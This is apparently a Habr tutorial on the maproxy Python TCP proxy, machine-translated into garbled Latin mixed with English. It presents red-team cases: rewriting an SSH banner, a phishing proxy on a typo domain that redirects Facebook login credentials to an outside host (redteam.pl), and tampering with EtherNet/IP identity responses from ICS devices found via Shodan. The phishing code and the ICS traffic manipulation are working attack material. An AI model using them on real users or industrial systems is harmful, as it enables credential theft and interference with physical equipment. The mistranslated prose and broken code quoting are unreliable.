Versio articuli praeparata est pervigilio initii
abstracte
Varii rationes securitatis censibus, ab iusto perspicacitate tentantes et Quadrigis Rubri operationes ad IOT/ICS machinas et SCADA caedentes, operando cum retis binariis protocolla involvunt, id est, essentialiter intercipiendi et modificandi retis notitias inter clientem et scopo. Suavissima negotiatio retis non est arduum negotium cum instrumenta sicut Wireshark, Tcpdump vel Scapy habemus, sed modificatio laboris magis intensivus esse videtur cum opus erit aliquod genus interfaciendi ad datam retiaculum legere, percolare, mutare. eam in musca remittito et hospitem scopo remittit in tempore fere reali. Praeterea specimen esset si tale instrumentum cum multiplicibus iunctis parallelis operari posset et scriptoribus uti mos esset.
Olim inventum instrumentum nomine
Documenta celeriter mihi patefactum est maproxy
– sicut quod opus est. Hoc est satis simplex, versatile, procuratorem TCP facile configurabile. Hoc instrumentum in pluribus applicationibus satis complexis temptavi, inclusis ICS machinis (quae multum fasciculorum generant) ut videre posset an plures nexus parallelos tractare posset, et instrumentum bene praestitit.
Hic articulus te introducet ad processus network notitia in musca utens maproxy
.
Overview
tool maproxy
Fundatur in Pollucis, popularis et maturae asynchronae network compage in Pythone.
In genere pluribus modis operari potest;
TCP:TCP
- unencrypted TCP hospites;TCP:SSL
иSSL:TCP
- uno modo encryption;SSL:SSL
- encryption duos modos.
Veniam ut bibliothecam. Ad initium velox, exempla exempla uti potes quae pelagus reflectunt
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Causa 1 - simplex bidirectional procuratorem
Fundatur tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
per default ProxyServer()
duas rationes accipit - nexum locum et portum scopo. server.listen()
unum argumentum sumit - portus audiendi nexum advenientis.
Faciendo scriptum:
# python tcp2tcp.py
Ut in probationem curramus, coniungi incipimus cum servo locali SSH per scripturam nostram procuratorem, qui in auscultat. 2222/tcp
portum et annectit ad portum vexillum 22/tcp
SSH servientes:
Grata vexillum te certiorem reddit exemplum nostrum scriptionem retis negocii feliciter procurasse.
Causa II - notitia modificationis
Alius demo scriptor logging_proxy.py
apta interacting cum network notitia. Commentaria in tabella describe modos ordinis quos mutare potes ad propositum tuum consequendum:
Maxime interesting res hic est:
on_c2p_done_read
- intercipere notitias in via a cliente servo;on_p2s_done_read
— auderet.
Experiamur mutato SSH vexillo quod servo ad clientem redit:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Judicium scriptum:
Ut videre potes, client deceptus est quod nomen eius SSH nomen illi mutatum est «DumnySSH»
.
Causa 3 - simplex phishing pagina
Modi infiniti sunt ut hoc instrumento utantur. Hoc tempore focus in re aliqua utilior ex parte Rubri Team operationes. Imitemur ad portum pagina m.facebook.com
and use a custom domain with a typo deliberate, e.g. m.facebok.com
. Ad demonstrationem proposita, id nunc sumamus quod regio a nobis relatus est.
Nos in unencrypted network connexionem cum victimarum nostrarum procuratorio et SSL Flumine ad Facebook server constituendum (31.13.81.36
). Ad huius operis exemplum, necesse est ut caput exercitus HTTP reponere et rectam hostname injiciamus, et compressionem quoque responsionis disable erimus ut contenta facile accedere possimus. Tandem HTML formam restituemus ut documentorum loginorum nobis mittantur pro servientibus Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/la/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
eventually:
Ut videre potes, fuimus feliciter locum pristinum reponere.
Causa 4 - Porting Aer/IP
De machinationibus industrialibus et programmatibus (ICS/SCADA) per aliquantum tempus tractavi, ut programmatores moderatores (PLC), I/O moduli, agitationes, mensae, scalae ambitus programmandi et plura plura. Hic casus est iis qui res industriae placent. Talia solutiones hacking implicant actuose ludens cum protocolla retiacula. In exemplo sequenti, vellem ostendere quomodo ICS/SCADA negotiatio retis mutare potes.
Hoc enim sequenti opus erit.
- Retis sniffer, verbi gratia, Wireshark;
- Aer/IP vel iustus fabrica HAUSTUS, eam invenire potes utens servitio Shodan;
- Nostrum scriptum fundatur
maproxy
.
Primum inspiciamus quid identificatio typica responsionis ex CIP (Protocollo Industrial Commune) similis sit:
Fabrica identificatio efficitur utens protocollo Ethernet/IP, quod est aucta versio protocolli industrialis Ethernet quod protocolla moderari ut CIP inligat. Nos mutamus id nomen quod in screenshot visibilis est "NI-IndComm for Ethernet" per nostrum procuratorem script. Potuimus reuse scripto logging_proxy.py
et similiter genus modum mutare on_p2s_done_read
quia volumus aliud nomen identitatis in cliente esse conspicuum.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Per se, bis identitatis fabricam petivimus, secunda responsio prima fuit, et prima in musca mutata est.
Et ultima
In mea sententia, maproxy
Instrumentum opportunum et simplex, quod etiam in Pythone scriptum est, ut credo te quoque eo uti posse. Nimirum plura instrumenta implicata sunt ad retis processus et modificandas notitias, sed etiam maiorem attentionem requirunt et plerumque ad certum usum causa creati sunt, e.g. maproxy
notiones tuas ad intercipiendas retis notitias cito efficiendum potes, cum exemplum scriptorum clarissimum sit.
Source: www.habr.com